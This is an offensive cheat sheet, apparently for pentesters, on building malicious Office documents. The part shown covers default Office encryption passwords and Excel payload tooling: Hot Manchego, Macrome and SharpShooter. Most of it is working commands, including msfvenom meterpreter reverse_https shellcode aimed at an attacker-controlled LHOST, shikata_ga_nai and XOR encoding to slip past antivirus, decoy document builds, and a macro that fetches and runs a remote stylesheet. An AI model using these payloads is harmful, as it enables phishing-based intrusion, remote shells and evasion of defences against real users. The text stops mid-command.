Internal Network Pentest and IR Reference: office attacks

# Office - Attacks

## Summary

* [Office Products Features](#office-products-features)
* [Office Default Passwords](#office-default-passwords)
* [Excel](#excel)
    * [XLSM - Hot Manchego](#xlsm---hot-manchego)
    * [XLM - Macrome](#xlm---macrome)
    * [XLM Excel 4.0 - SharpShooter](#xlm-excel-40---sharpshooter)
    * [XLM Excel 4.0 - EXCELntDonut](#xlm-excel-40---excelntdonut)
    * [XLM Excel 4.0 - EXEC](#xlm-excel-40---exec)
    * [SLK - EXEC](#slk---exec)
    * [XLL - EXEC](#xll---exec)
* [Word](#word)
    * [DOCM - Metasploit](#docm---metasploit)
    * [DOCM - Download and Execute](#docm---download-and-execute)
    * [DOCM - Macro Creator](#docm---macro-creator)
    * [DOCM - C# converted to Office VBA macro](#docm---c-converted-to-office-vba-macro)
    * [DOCM - VBA Wscript](#docm---vba-wscript)
    * [DOCM - VBA Shell Execute Comment](#docm---vba-shell-execute-comment)
    * [DOCM - VBA Spawning via svchost.exe using Scheduled Task](#docm---vba-spawning-via-svchostexe-using-scheduled-task)
    * [DCOM - WMI COM functions (VBA AMSI)](#docm---wmi-com-functions)
    * [DOCM - Macro Pack - Macro and DDE](#docmxlm---macro-pack---macro-and-dde)
    * [DOCM - BadAssMacros](#docm---badassmacros)
    * [DOCM - CACTUSTORCH VBA Module](#docm---cactustorch-vba-module)
    * [DOCM - MMG with Custom DL + Exec](#docm---mmg-with-custom-dl--exec)
    * [VBA Obfuscation](#vba-obfuscation)
    * [VBA Purging](#vba-purging)
        * [OfficePurge](#officepurge)
        * [EvilClippy](#evilclippy)
    * [VBA - Offensive Security Template](#vba---offensive-security-template)
    * [VBA - AMSI](#vba---amsi)
    * [DOCX - Template Injection](#docx---template-injection)
    * [DOCX - DDE](#docx---dde)
* [Visual Studio Tools for Office (VSTO)](#visual-studio-tools-for-office-vsto)
* [Office Macro Development](#office-macro-development)
    * [Execute WinAPI](#execute-winapi)
* [References](#references)

## Office Products Features

![Overview of features supported by different Office products](https://www.securesystems.de/images/blog/offphish-phishing-revisited-in-2023/Office_documents_feature_overview.png)

## Office Default Passwords

By default, Excel does not set a password when saving a new file. However, some older versions of Excel had a default password that was used if the user did not set a password themselves. The default password was "`VelvetSweatshop`", and it could be used to open any file that did not have a password set.

> If the user has not supplied an encryption password and the document is encrypted, the default encryption choice using the techniques specified in section 2.3 MUST be the following password: "`\x2f\x30\x31\x48\x61\x6e\x6e\x65\x73\x20\x52\x75\x65\x73\x63\x68\x65\x72\x2f\x30\x31`". - [2.4.2.3 Binary Document Write Protection Method 3](https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-offcrypto/57fc02f0-c1de-4fc6-908f-d146104662f5)

| Product    | Password         | Supported Formats |
|------------|------------------|-------------------|
| Excel      | VelvetSweatshop  | all Excel formats |
| PowerPoint | 01Hannes Ruescher/01 | .pps .ppt     |

## Excel

### XLSM - Hot Manchego

> When using EPPlus, the creation of the Excel document varied significantly enough that most A/V didn't catch a simple lolbas payload to get a beacon on a target machine.

* [FortyNorthSecurity/hot-manchego](https://github.com/FortyNorthSecurity/hot-manchego)

```ps1
Generate CS Macro and save it to Windows as vba.txt
PS> New-Item blank.xlsm
PS> C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:EPPlus.dll hot-manchego.cs
PS> .\hot-manchego.exe .\blank.xlsm .\vba.txt
```

### XLM - Macrome

> XOR Obfuscation technique will NOT work with VBA macros since VBA is stored in a different stream that will not be encrypted when you password protect the document. This only works for Excel 4.0 macros.

* [michaelweber/Macrome/Macrome-0.3.0-osx-x64.zip](https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-osx-x64.zip)
* [michaelweber/Macrome/Macrome-0.3.0-linux-x64.zip](https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-linux-x64.zip)
* [michaelweber/Macrome/Macrome-0.3.0-win-x64.zip](https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-win-x64.zip)

```ps1
# NOTE: The payload cannot contains NULL bytes.

# Default calc
msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin
msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin
# Custom shellcode
msfvenom -p generic/custom PAYLOADFILE=payload86.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-86.bin -b '\x00'
msfvenom -p generic/custom PAYLOADFILE=payload64.bin -a x64 --platform windows -e x64/xor_dynamic -f raw -o shellcode-64.bin -b '\x00'
# MSF shellcode
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.59 LPORT=443 -b '\x00'  -a x64 --platform windows -e x64/xor_dynamic --platform windows -f raw -o msf64.bin
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.59 LPORT=443 -b '\x00' -a x86 --encoder x86/shikata_ga_nai --platform windows -f raw -o msf86.bin

dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload shellcode-86.bin --payload64-bit shellcode-64.bin

# For VBA Macro
Macrome build --decoy-document decoy_document.xls --payload-type Macro --payload macro_example.txt --output-file-name xor_obfuscated_macro_doc.xls --password VelvetSweatshop
```

When using Macrome build mode, the --password flag may be used to encrypt the generated document using XOR Obfuscation. If the default password of **VelvetSweatshop** is used when building the document, all versions of Excel will automatically decrypt the document without any additional user input. This password can only be set in Excel 2003.

### XLM Excel 4.0 - SharpShooter

* [mdsecactivebreach/SharpShooter](https://github.com/mdsecactivebreach/SharpShooter)

```powershell
# Options
-rawscfile <path>  Path to raw shellcode file for stageless payloads
--scfile <path>    Path to shellcode file as CSharp byte array
python SharpShooter.py --payload slk --rawscfile shellcode.bin --output test

# Creation of a VBA Macro
# creates a VBA macro file that uses the the XMLDOM COM interface to retrieve and execute a hosted stylesheet.
SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl

# Creation of an Excel 4.0 SLK Macro Enabled Document
~# /!\ The shellcode cannot contain null bytes
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'
SharpShooter.py --payload slk --output